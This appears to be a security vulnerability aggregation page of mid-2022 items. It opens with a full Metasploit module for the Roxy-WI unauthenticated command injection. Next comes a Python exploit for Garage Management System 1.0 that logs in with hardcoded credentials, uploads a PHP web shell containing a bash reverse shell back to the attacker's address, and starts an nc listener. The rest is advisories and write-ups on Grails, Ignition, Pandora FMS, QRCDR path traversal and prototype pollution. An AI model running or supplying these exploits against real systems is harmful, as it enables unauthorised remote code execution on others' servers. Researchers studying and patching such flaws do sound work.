This Metasploit module exploits an unauthenticated command injection vulnerability in Roxy-WI versions prior to 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',        'Description' => %q{          This module exploits an unauthenticated command injection vulnerability in Roxy-WI          prior to version 6.1.1.0. Successful exploitation results in remote code execution          under the context of the web server user.          Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.        },        'License' => MSF_LICENSE,        'Author' => [          'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module        ],        'References' => [          ['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory          ['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information          ['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch          ['CVE', '2022-31137']        ],        'DefaultOptions' => {          'SSL' => true,          'WfsDelay' => 25        },        'Platform' => %w[unix linux],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Targets' => [          [            'Unix (In-Memory)',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :in_memory            }          ],          [            'Linux (Dropper)',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :dropper            }          ]        ],        'CmdStagerFlavor' => ['printf'],        'DefaultTarget' => 0,        'Privileged' => false,        'DisclosureDate' => '2022-07-06',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(443),        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])      ]    )  end  def execute_command(cmd, _opts = {})    return send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),        'vars_post' => {          'serv' => '127.0.0.1',          'ipbackend' => "\"; #{cmd} ;#",          'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),          'backend_server' => '127.0.0.1'        }      }, 10    )  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT    return nil  end  def check    print_status("Checking if #{peer} is vulnerable!")    res = execute_command('id')    return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res    if res.code == 200 && res.body =~ /uid=\d+$.+$/      print_status("#{peer} is vulnerable!")      return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')    elsif res.code == 200      return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')    else      return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")    end  end  def exploit    print_status('Exploiting...')    case target['Type']    when :in_memory      execute_command(payload.encoded)    when :dropper      execute_cmdstager    end  endend

Roxy-WI Remote Command Execution

Garage Management System version 1.0 suffers from a remote shell upload vulnerability.

    # Exploit Title: Garage Management System Remote Code Execution via File Upload# Date: 24/07/2022# Exploit Author: saitamang# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/garage.zip# Version: 1.0# Tested on: Centos 7 + MySQLimport requests, subprocess, string, sys, warnings, time, concurrent.futuresfrom requests.packages.urllib3.exceptions import InsecureRequestWarningwarnings.simplefilter('ignore',InsecureRequestWarning)from netifaces import interfaces, ifaddresses, AF_INETreq = requests.Session()proxies = {    'http':'http://127.0.0.1:8080',     'https':'http://127.0.0.1:8080',    }def login(ip,username,password):      target = "http://%s/garage/garage/login.php" %ip    data = {'username':username,'password':password, 'login':''}    response = req.post(target, data=data)    if 'Login Successfully' in response.text:        print("[$] Success Login :)")        trigger_rce(req)    else:        print("[$] Failed Login :(")def creata_rs():    for ifaceName in interfaces():        addresses = [i['addr'] for i in ifaddresses(ifaceName).setdefault(AF_INET, [{'addr':'No IP addr'}] )]        if ifaceName=="eth0":            ipadd = ' '.join(addresses)            f = open("saitamang.php", "w")            payload = "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+str(ipadd)+"/1234 0>&1'\")?>"            f.write(payload)            f.close()        else:            passdef trigger_rce(req):    creata_rs()    target = "http://%s/garage/garage/php_action/createProduct.php" %ip    multipart_form_data = {    "currnt_date": (None,""),    "productImage": ("saitamang.php", open("saitamang.php", "rb")),    "productName" : (None,"test"),    "quantity" : (None,"1"),    "rate" : (None,"1"),    "brandName" : (None,"1"),    "categoryName" : (None,"1"),    "productStatus" : (None,"1"),    "create" : (None,"")    }    response = req.post(target, files=multipart_form_data)    print("[$] Enjoy your RCE :)")    req.get("http://%s/garage/garage/assets/myimages/saitamang.php" %ip)if __name__ == "__main__":    print("   _____       _ __                                   ")    print("  / ___/____ _(_) /_____ _____ ___  ____ _____  ____ _")    print("  \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")    print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")    print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, /  ")    print("                                             /____/   \n\n")        try:        ip = sys.argv[1].strip()        username = "mayuri.infospace@gmail.com"        password = "rootadmin"        subprocess.call(['terminator', '-e', 'nc -lvp 1234'])        time.sleep(2)        login(ip,username,password)            except IndexError:        print("[-] Usage %s <ip>" % sys.argv[0])        print("[-] Example: %s 192.168.100.x" % sys.argv[0])    sys.exit(-1)

Garage Management System 1.0 Shell Upload

Maintainers warn to patch all versions of open source web app framework – even those not deemed vulnerable

Maintainers warn to patch all versions of open source web app framework – even those not deemed vulnerable

  

Researchers from AntGroup FG Security Lab have discovered a critical security vulnerability allowing an attacker to remotely execute code within a Grails application runtime.

Grails is an open source web application framework based on the Apache Groovy programming language and is used for developing agile web applications. Customers include Google, IBM, Walmart, Credit Suisse, and Mastercard.

The flaw, tracked using CVE-2022-35912, allows an attacker to remotely execute code within a Grails application runtime by issuing a specially crafted web request that grants the attacker access to the class loader.

Read more of the latest news about web security vulnerabilities

The attack exploits a section of the Grails data-binding logic, which is invoked in a number of ways including the creation of command objects, domain class construction, and manual data binding when using bindData.

The vulnerability has been confirmed on Grails framework versions 3.3.10 and higher, including Grails framework 4 and 5, that are running on Java 8. It has been observed in both the embedded Tomcat runtime and applications deployed as a Web Archive (WAR) to a Tomcat instance.

“Due to the nature of this vulnerability, we strongly suggest that all Grails applications, including those that are not vulnerable to this specific attack, be updated to a patched Grails release,” the Grails team noted in a blog post.

“While we have not been able to reproduce this specific exploit on applications running in Java 11 or in versions of the Grails framework before 3.3.10, the nature of the vulnerability is such that variations on the attack could be discovered that earlier Grails releases, and Grails applications running on higher versions of Java will be impacted.”

**Patches available**

Versions 5.2.1, 5.1.9, 4.1.1, and 3.3.15 have now been patched, and the team recommends upgrading to a patched version. Grails 4.x applications can be upgraded to version 4.1.1 or higher, Grails 5.0.x and 5.1.x applications can be upgraded to 5.1.9 or higher, and Grails 5.2 applications can be upgraded to 5.2.1 or higher.

“The Grails Foundation and the Grails core development team take application security very seriously,” wrote the team. “We are continuing to research and monitor this vulnerability.”

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Critical security vulnerability in Grails could lead to remote code execution

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Inductive Automation Ignition 8.1.15 (b2022030114). Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within com.inductiveautomation.metro.impl. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-17265.

July 15th, 2022

**(Pwn2Own) Inductive Automation Ignition Deserialization of Untrusted Data Remote Code Execution Vulnerability****ZDI-22-1017  
ZDI-CAN-17265**

CVE ID

CVE-2022-35870

CVSS SCORE

8.8, (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

AFFECTED VENDORS

Inductive Automation  

AFFECTED PRODUCTS

Ignition  

VULNERABILITY DETAILS

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Inductive Automation Ignition. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.

The specific flaw exists within com.inductiveautomation.metro.impl. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.  

ADDITIONAL DETAILS

Inductive Automation has issued an update to correct this vulnerability. More details can be found at:  
https://support.inductiveautomation.com/hc/en-us/articles/7625759776653-Regarding-Pwn2Own-2022-Vulnerabilities  

DISCLOSURE TIMELINE

*   2022-05-09 - Vulnerability reported to vendor
*   2022-07-15 - Coordinated public release of advisory

CREDIT

@\_s\_n\_t of @pentestltd  

BACK TO ADVISORIES

CVE-2022-35870: ZDI-22-1017

In Pandora FMS v7.0NG.761 and below, in the agent creation section, the alias parameter is vulnerable to a Stored Cross Site-Scripting. This vulnerability can be exploited by an attacker with administrator privileges logged in the system.

CVE-2022-2032 Stored Cross Site-Scripting in File Manager 14 Jun 2022 762 CVE-2022-2059 Stored Cross Site-Scripting in Agent Manager 14 Jun 2022 762 CVE-2022-1648 Relative Path Traversal to Remote Code Execution in File Manager 13 May 2022 761 CVE-2022-26310 Improper Authorization in User Management to Vertical Privilege Escalation 13 May 2022 761 CVE-2022-26309 Cross-Site Request en Bulk operation (User operation) 13 May 2022 761 CVE-2022-26308 Improper Access Control in Configuration (Credential store) 13 May 2022 761 CVE-2022-0507 Vulnerability: Authenticated SQL Injection in API 10 Feb 2022 760 CVE-2021-46681 Vulnerability XSS in module mass operation name field 15 Sept 2021 757 CVE-2021-46680 Vulnerability XSS in module form name field 15 Sept 2021 757 CVE-2021-46679 Vulnerability XSS in service elements 15 Sept 2021 757 CVE-2021-46678 Vulnerability XSS in service from name field 15 Sept 2021 757 CVE-2021-46677 Vulnerability XSS in Event filter name field 15 Sept 2021 757 CVE-2021-46676 Vulnerability XSS in Transaction Map name field 15 Sept 2021 757 CVE-2021-34075 In Artica Pandora FMS <=754 in the File Manager component, there is sensitive information exposed on the client side which attackers can access. 30 Jun 2021 756 CVE-2021-35501 Vulnerability XSS in in the name field of a visual console 25 Jun 2021 755 CVE-2021-32100 A remote file inclusion vulnerability exists in Artica Pandora FMS 742, exploitable by the lowest privileged user. 29 Jan 2020 743 CVE-2021-32099 A SQL injection vulnerability in the pandora\_console component of Artica Pandora FMS 742 allows an nauthenticated attacker to upgrade his unprivileged session via the /include/chart\_generator.php session\_id parameter, leading to a login bypass. 29 Jan 2020 743 CVE-2021-32098 functions\_netflow.php in Artica Pandora FMS 7.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the index.php?operation/netflow/nf\_live\_view ip\_dst, dst\_port, or src\_port parameter, a different vulnerability than CVE-2019-20224. 29 Jan 2020 743 CVE-2020-8947 functions\_netflow.php in Artica Pandora FMS 7.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the index.php?operation/netflow/nf\_live\_view ip\_dst, dst\_port, or src\_port parameter, a different vulnerability than CVE-2019-20224. 18 Dec 2019 742 CVE-2020-8511 In Artica Pandora FMS through 7.42, Web Admin users can execute arbitrary code by uploading a .php file via the File Repository component, a different issue than CVE-2020-7935 and CVE-2020-8500. 8 Jun 2021 93 CVE-2020-8500 \*\* DISPUTED \*\* In Artica Pandora FMS 7.42, Web Admin users can execute arbitrary code by uploading a .php file via the Updater or Extension component. NOTE: The vendor reports that this is intended functionality. 8 Jun 2021 93 CVE-2020-8497 In Artica Pandora FMS through 7.42, an unauthenticated attacker can read the chat history. The file is in JSON format and it contains user names, user IDs, private messages, and timestamps. 8 Jun 2021 93 CVE-2020-7935 Artica Pandora FMS through 7.42 is vulnerable to remote PHP code execution because of an Unrestricted Upload Of A File With A Dangerous Type issue in the File Manager. An attacker can create a (or use an existing) directory that is externally accessible to store PHP files. The filename and the exact path is known by the attacker, so it is possible to execute PHP code in the context of the application. The vulnerability is exploitable only with Administrator access. 8 Jun 2021 755 CVE-2020-5844 index.php?sec=godmode/extensions&sec2=extensions/files\_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742\_FIX\_PERL2020. 10 Feb 2021 752 CVE-2020-26518 Pandora FMS before 743 allows unauthenticated attackers to conduct SQL injection attacks via the pandora\_console/include/chart\_generator.php session\_id parameter. 2 Oct 2020 743 CVE-2020-13855 Pandora FMS 744 allows arbitrary file upload (leading to remote command execution) via the File Repository Manager feature. 4 Jun 2020 745 CVE-2020-13854 Pandora FMS 744 allows privilege escalation. 4 Jun 2020 745 CVE-2020-13853 Pandora FMS 744 has persistent XSS in the Messages feature. 4 Jun 2020 745 CVE-2020-13852 Pandora FMS 744 allows arbitrary file upload (leading to remote command execution) via the File Manager feature. 4 Jun 2020 745 CVE-2020-13851 Pandora FMS 744 allows remote command execution via the events feature. 4 Jun 2020 745 CVE-2020-13850 Artica Pandora FMS 744 has inadequate access controls on a web folder. 4 Jun 2020 747 CVE-2020-11749 Pandora FMS 7.0 NG 746 suffers from Multiple XSS vulnerabilities in different browser views. A network administrator scanning a SNMP device can trigger a Cross Site Scripting (XSS), which can run arbitrary code to allow Remote Code Execution as root or apache2. 14 Apr 2020 747 CVE-2020-8947 Allows remote attackers to execute arbitrary OS commands via shell metacharacters in the netflow report. It needs valid credentials to success. 12 Feb 2020 743 CVE-2020-8511 Pandora FMS through 7.42, admin users can execute arbitrary code by uploading a .php file via the File Repository component. 31 Jan 2020 N/A CVE-2020-8497 Pandora FMS through 7.42, an unauthenticated attacker can read the chat history. The file is in JSON format and it contains user names, user IDs, private messages, and timestamps. 30 Jan 2020 746 CVE-2020-7935 Artica Pandora FMS through 742 is vulnerable to remote PHP code execution because of an Unrestricted Upload Of A File With A Dangerous Type issue in the File Manager by the admin user. The vulnerability is exploitable only with Administrator access. 23 Jan 2020 N/A CVE-2020-5844 Files\_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. 6 Jan 2020 743 CVE-2019-20224 Netflow stats in Pandora FMS NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip\_src parameter. 2 Jan 2020 742 CVE-2019-20050 Pandora FMS 742 suffers from a remote code execution vulnerability. To exploit the vulnerability, an authenticated user should create a new folder with a "tricky" name in the filemanager. The exploit works when the php-fileinfo extension is disabled on the host system. The attacker must include shell metacharacters in the content type. 27 Dec 2019 742 CCVE-2019-13035 Pandora FMS 7.0 NG before 735 suffers from local privilege escalation due to improper permissions on C:\\PandoraFMS and its sub-folders, allowing standard users to create new files. Moreover, the Apache service httpd.exe will try to execute cmd.exe from C:\\PandoraFMS (the current directory) as NT AUTHORITY\\SYSTEM upon web requests to the portal. This will effectively allow non-privileged users to escalate privileges to NT AUTHORITY\\SYSTEM. 29 Jun 2019 735 CVE-2018-11223 XSS in Artica Pandora FMS before 723 allows an attacker to execute arbitrary code via a crafted "refr" parameter. 16 May 2018 723 CVE-2018-11222 Local File Inclusion (LFI) in Pandora FMS through version 723 allows an attacker to call any php file via the /pandora\_console/ajax.php ajax endpoint. 16 May 2018 723 CVE-2018-11221 Unauthenticated untrusted file upload in Pandora FMS through version 723 allows an attacker to upload an arbitrary plugin via include/ajax/update\_manager.ajax in the update system. 16 May 2018 723 CVE-2017-15937 Pandora FMS version 7.0 leaks a full installation pathname via GET data when intercepting the main page's graph requisition. This also implies that general OS information is leaked (e.g., a /var/www pathname typically means Linux or UNIX). 27 Oct 2017 714 CVE-2017-15936 Pandora FMS NG an Attacker with write Permission can create an agent with an XSS Payload; when a user enters the agent definitions page, the script will get executed. 27 Oct 2017 714 CVE-2017-15935 Pandora FMS 7.0 vulnerable to remote PHP code execution through the manager files function. This is only exploitable by administrators who upload a PHP file. 27 Oct 2017 714 CVE-2017-15934 Pandora FMS 7.0 is vulnerable to stored Cross-Site Scripting in the map name parameter. 27 Oct 2017 714 CVE-2010-4283 PHP remote file inclusion vulnerability in extras/pandora\_diag.php in Pandora FMS before 3.1.1 allows remote attackers to execute arbitrary PHP code via a URL in the argv\[1\] parameter. 17 Nov 2014 3.1.1 CVE-2010-4282 Multiple directory traversal vulnerabilities in Pandora FMS before 3.1.1 allow remote attackers to include and execute arbitrary local files via (1) the page parameter to ajax.php or (2) the id parameter to general/pandora\_help.php, and allow remote attackers to include and execute, create, modify, or delete arbitrary local files via (3) the layout parameter to operation/agentes/networkmap.php. 17 Nov 2014 3.1.1 CVE-2010-4281 Incomplete blacklist vulnerability in the safe\_url\_extraclean function in ajax.php in Pandora FMS before 3.1.1 allows remote attackers to execute arbitrary PHP code by using a page parameter containing a UNC share pathname, which bypasses the check for the : (colon) character. 17 Nov 2014 3.1.1 CVE-2010-4280 Multiple SQL injection vulnerabilities in Pandora FMS before 3.1.1 allow remote authenticated users to execute arbitrary SQL commands via (1) the id\_group parameter in an operation/agentes/ver\_agente action to ajax.php or (2) the group\_id parameter in an operation/agentes/estado\_agente action to index.php, related to operation/agentes/estado\_agente.php. 17 Nov 2014 3.1.1 CVE-2010-4279 The default configuration of Pandora FMS 3.1 and earlier specifies an empty string for the loginhash\_pwd field, which allows remote attackers to bypass authentication by sending a request to index.php with "admin" in the loginhash\_user parameter, in conjunction with the md5 hash of "admin" in the loginhash\_data parameter. 17 Nov 2014 3.1.1 CVE-2010-4278 operation/agentes/networkmap.php in Pandora FMS before 3.1.1 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the layout parameter in an operation/agentes/networkmap action to index.php. 17 Nov 2014 3.1.1 CVE-2014-8629 Cross-site scripting (XSS) vulnerability in the Page visualization agents in Pandora FMS 5.1 SP1 and earlier allows remote attackers to inject arbitrary web script or HTML via the refr parameter to index.php. 11 Nov 2014 5.1 SP2

CVE-2022-2059: Pandora FMS Common Vulnerabilities and Exposures

A vulnerability in the component process.php of QR Code Generator v5.2.7 allows attackers to perform directory traversal.

This post is about CVE-2022–24992 which refers to vulnerability in QRCDR widely used QR-Code generator script.

****About QRCDR:****

> QRCDR is a popular PHP — JavaScript QR-Code Generator, which is widely used for creating customized QR-Code in easy steps.  
> also, it’s used by a few WordPress QR Code Generator Plugins and Mobile applications Which is not covered in this article.

Hello dear readers, it’s @n0lsec, Today I going to share with you details of the ZeroDay vulnerability which I was found in QRCDR (reported to the vendor and patched).

QRCDR— responsive QR Code generator

**Core finding**

*   QRCDR(5.2.7 and all prior versions are vulnerable ) to Directory Path Traversal Vulnerability.
*   POST parameters with _optionlogo=[payload]_ which is malicious payload sent to leads to path traversal
*   According to server security configurations, the attacker can read arbitrary sensitive server files, configurations, etc
*   An attacker can escalate path-traversal to RCE in some cases

**Mitigation**

*   Just update to the latest version, At the time i wrote this post it is Version 5.2.9

How find?  
Meanwhile working on a specific Bug Bounty program, which is called REDACTED.COM because of the information disclosure policy, I was found quite an interesting endpoint which leads customers to create customized QR-Code with extra options, I was opened browser inspector and watched to Request/Responses, so I realized part of script leads users to add a custom logo to our QR-Code which was so interesting to me,  
here I opened the browser inspector and look at what we had, there was the main file of script process.php which is in the path: /ajax/process.php intercept POST request and body parameters, optionlogo looks like below:

the script provided some predefined logos and we can select one of them and load it into our QR-Code, The key part of vulnerability is hear which maybe let us find some interesting things like Path Traversal — LFI or maybe SSRF so I decided to check.

After some work I tried Path-Traversal, I have tried the first payload without encoding or any bypass method, and I had received /etc/passwd file content with base64-encoded. So that’s it.

Because of the severity, I was sent a report immediately to the vendor and I got rewarded!

REDACTED.COM’s Base64-Decoded contents of /etc/passwd

**Report to Dev-Team**

After checking the code, found out that the script is part of the QRCDR script, so I found the Dev-Team email and sent the details of a vulnerability, they responded quickly and fixed the vulnerability after a few hours. Considering that the script is popular and widely used, I decided to write this post.

**what happened?**

I searched the internet for the QRCDR script and found the null version, so I checked the code and found that the script does not completely clear the POST value of the optionlogo parameter and uses the code directly in the QR-Code.

part of process.php file, look at line 17 which is no any kind of sanitization

as you see mergeImage() function just create image with our injected payload and when it comes to SVG format we have some Directory-Path-Traversal magic like this:

<image xlink:href=”/etc/passwd(base64-encode)” > which is brings content of any files to us! :)

**Mitigation**

The vulnerability now fixed but if you want to fix it manually should know to remove any malicious content which can help attacker to change directory in file name and directory name.

*   removing any special characters in file | directory name [. / \ ]
*   thinking about cross-platform directory traversal characters
*   after all maybe configuring server with chroot-jail, cloudflare like functionality to prevent escalation maybe good choices.even i think hackers always find their ways:)

Feel free to contact me on twitter , i would appreciate it if you send me any problem , feedback and opinion.

CVE-2022-24992: CVE-2022–24992: QRCDR ZeroDay Path Traversal Vulnerability

The vulnerability was found in Moodle, occurs due to improper input validation when parsing PostScript code. An omitted execution parameter results in a remote code execution risk for sites running GhostScript versions older than 9.50. Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

No match.

Moodle official production repository

RSS Atom

CVE-2022-35649: Official Moodle git projects - moodle.git/search

All versions of package @ianwalter/merge are vulnerable to Prototype Pollution via the main (merge) function. Maintainer suggests using @generates/merger instead.

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

*   Unsafe Object recursive merge
    
*   Property definition by path
    

**Unsafe Object recursive merge**

The logic of a vulnerable recursive merge function follows the following high-level model:

    merge (target, source)
    
      foreach property of source
    if property exists and is an object on both the target and the source
    
      merge(target[property], source[property])
    
    else
    
      target[property] = source[property]
    
    

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

**Property definition by path**

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

CVE-2021-23397: Snyk Vulnerability Database | Snyk

All versions of package set-deep-prop are vulnerable to Prototype Pollution via the main functionality.

CVE-2021-23373: Snyk Vulnerability Database | Snyk

Obsidian 0.14.x and 0.15.x before 0.15.5 allows obsidian://hook-get-address remote code execution because window.open is used without checking the URL.

Tag

#rce